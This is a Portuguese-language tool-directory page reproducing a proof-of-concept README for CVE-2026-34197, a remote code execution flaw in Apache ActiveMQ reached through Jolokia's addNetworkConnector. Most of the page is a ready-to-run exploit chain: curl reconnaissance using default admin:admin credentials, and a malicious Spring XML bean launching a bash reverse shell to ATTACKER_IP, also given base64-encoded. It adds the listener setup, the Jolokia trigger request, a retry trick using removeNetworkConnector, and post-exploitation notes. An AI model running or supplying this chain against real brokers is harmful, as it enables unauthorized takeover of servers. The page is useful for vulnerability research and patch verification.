Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-34197-PoC — Prova de conceito de exploit para CVE-2026-34197, uma RCE no Apache ActiveMQ via addNetworkConnector do Jolokia, com notas técnicas e payload de reverse shell. | Kitploit
Ferramentas/GitHubGitHub/nirvanasec/cve-2026-34197-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed TeamingFerramenta de Acesso Remoto
GitHubnirvanasec/cve-2026-34197-poc

CVE-2026-34197-PoC

Prova de conceito de exploit para CVE-2026-34197, uma RCE no Apache ActiveMQ via addNetworkConnector do Jolokia, com notas técnicas e payload de reverse shell.

Ver Repositório
há 7h 35mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-34197 — Apache ActiveMQ Jolokia addNetworkConnector RCE

Prova de conceito e notas técnicas para CVE-2026-34197, uma vulnerabilidade de execução remota de código no Apache ActiveMQ Classic acessível através da ponte JMX-HTTP do Jolokia.

  • Afetados: ActiveMQ Classic < 5.19.4 e 6.0.0 – 6.2.2
  • Corrigido em: 5.19.6 / 6.2.5
  • CVSS 3.1: 8.8
  • Causa raiz: a política de acesso padrão do Jolokia (conf/jolokia-access.xml) concede exec em todos os MBeans org.apache.activemq:*. Isso inclui Broker.addNetworkConnector(String), que aceita uma URI de transporte vm:// cujo parâmetro de consulta brokerConfig o broker busca e analisa como um arquivo de definição de bean Spring XML. Um bean cuja classe é com é instanciado — e iniciado — como efeito colateral da resolução do grafo de beans pelo Spring. Nenhuma cadeia de gadgets de desserialização é necessária.
java.lang.ProcessBuilder
init-method="start"

⚠️ Apenas para testes autorizados / pesquisa / uso em CTF. Não execute isso contra sistemas que você não possui ou para os quais não tem permissão explícita para testar.


1. Reconhecimento

root@kitploit:~
curl -s http://$TARGET:8161/ | grep -oiE 'activemq[^<]*[0-9]+\.[0-9]+\.[0-9]+'
curl -s -u admin:admin "http://$TARGET:8161/api/jolokia/version" | python3 -m json.tool

Confirme se exec está realmente acessível no MBean do Broker:

root@kitploit:~
curl -s -u admin:admin "http://$TARGET:8161/api/jolokia/list/org.apache.activemq:type=Broker,brokerName=localhost" \
  | python3 -m json.tool | grep -A3 addNetworkConnector

2. Hospede o Spring XML malicioso

addNetworkConnector(String) não aceita uma URI vm://... simples — ela é analisada primeiro como uma URI de agente de descoberta, e vm não é um esquema de descoberta registrado (DiscoveryAgent scheme NOT recognized: [vm]). Envolva-a em static:(...), o esquema de descoberta estática do ActiveMQ, que passa a URI vm:// interna sem modificações:

root@kitploit:~
static:(vm://evil?brokerConfig=xbean:http://ATTACKER_IP:8000/poc.xml)

poc.xml:

root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pwn" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>bash</value>
        <value>-c</value>
        <value><![CDATA[bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

O invólucro <![CDATA[...]]> é necessário porque o one-liner do reverse shell contém &, que o XML tentaria analisar como o início de uma referência de entidade. Uma opção equivalente, sem escapes, é codificar o comando em base64:

root@kitploit:~
<value>echo YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQ0tFUl9JUC80NDQ0IDA+JjE=|base64 -d|bash</value>

Sirva-o:

root@kitploit:~
python3 -m http.server 8000

Inicie um listener:

root@kitploit:~
nc -lvnp 4444

3. Acione-o via Jolokia

root@kitploit:~
curl -s -u admin:admin \
  -X POST "http://$TARGET:8161/api/jolokia/" \
  -H "Content-Type: application/json" \
  -H "Origin: http://$TARGET:8161" \
  -d '{
    "type": "exec",
    "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
    "operation": "addNetworkConnector(java.lang.String)",
    "arguments": ["static:(vm://evil?brokerConfig=xbean:http://ATTACKER_IP:8000/poc.xml)"]
  }'

O cabeçalho Origin é importante. Se o jolokia-access.xml desta versão tiver a aplicação de CORS habilitada (um bloco <cors></cors>, mesmo vazio), o Jolokia exige um Origin/Referer bem formado em requisições que alteram estado. Se omitido, você receberá uma resposta de política negada que pode parecer que o sistema está corrigido quando não está.

Uma chamada bem-sucedida retorna:

root@kitploit:~
{"value":"NC","status":200}

A chamada é cega via HTTP — não há corpo de resposta com a saída do comando — então seu listener da etapa anterior é o que realmente captura o shell.

4. A pegadinha do InstanceAlreadyExistsException

addNetworkConnector(String) sempre registra o objeto JMX resultante sob o nome do conector NC, independentemente da URI que você passar. Este é um padrão fixo no próprio ActiveMQ, não algo derivado da requisição:

root@kitploit:~
// NetworkBridgeConfiguration.java (NetworkConnector extends this class)
private String name = "NC";

BrokerViewMBean.addNetworkConnector(String discoveryAddress) nunca expõe uma forma de sobrescrevê-lo — não há truque de nome/parâmetro de consulta que altere o ObjectName registrado (testado manualmente: anexar ?name=whatever fora do invólucro static:(...) é silenciosamente ignorado).

Consequência: a segunda chamada a addNetworkConnector — seja sua própria tentativa após um payload quebrado, ou simplesmente porque o conector já está registrado de uma execução bem-sucedida anterior — falha:

root@kitploit:~
{
  "error_type": "java.io.IOException",
  "error_type_jmx": "javax.management.InstanceAlreadyExistsException",
  "error": "Network Connector could not be registered in JMX: org.apache.activemq:type=Broker,brokerName=localhost,connector=networkConnectors,networkConnectorName=NC",
  "status": 500
}

Isso não requer reinicialização do broker para se recuperar. O Broker também expõe removeNetworkConnector(String) através da mesma política do Jolokia (a concessão <allow operation="*"> em org.apache.activemq:* cobre todas as operações do broker, não apenas esta). Limpe o conector obsoleto pelo nome e tente novamente:

root@kitploit:~
curl -s -u admin:admin \
  -X POST "http://$TARGET:8161/api/jolokia/" \
  -H "Content-Type: application/json" \
  -H "Origin: http://$TARGET:8161" \
  -d '{
    "type": "exec",
    "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
    "operation": "removeNetworkConnector(java.lang.String)",
    "arguments": ["NC"]
  }'

Uma chamada bem-sucedida retorna {"value":true,"status":200}. Execute novamente a etapa 3 imediatamente depois — ela re-registra NC e dispara poc.xml novamente.

5. Notas de pós-exploração

  • O reverse shell chega como o usuário do sistema operacional que possui o processo JVM do ActiveMQ — tipicamente não a mesma identidade da credencial HTTP Basic admin do Jolokia/console, que não está relacionada à conta do sistema operacional.
  • addNetworkConnector não apenas executa o bean Spring uma vez — ele deixa um objeto de conector de rede ativo registrado no broker (org.apache.activemq:type=Broker,brokerName=localhost,connector=networkConnectors,networkConnectorName=NC). Este é um artefato durável da exploração, independente de o processo gerado em si persistir.

Referências

  • Aviso de segurança oficial do Apache ActiveMQ
  • Divulgação da Horizon3.ai
  • NetworkBridgeConfiguration.java — fonte do padrão private String name = "NC";
  • BrokerViewMBean.java — interface JMX addNetworkConnector / removeNetworkConnector
  • NetworkConnector.java
  • DiscoveryNetworkConnector.java
  • Cobertura da adição ao KEV da CISA, abril de 2026
Baixar ferramenta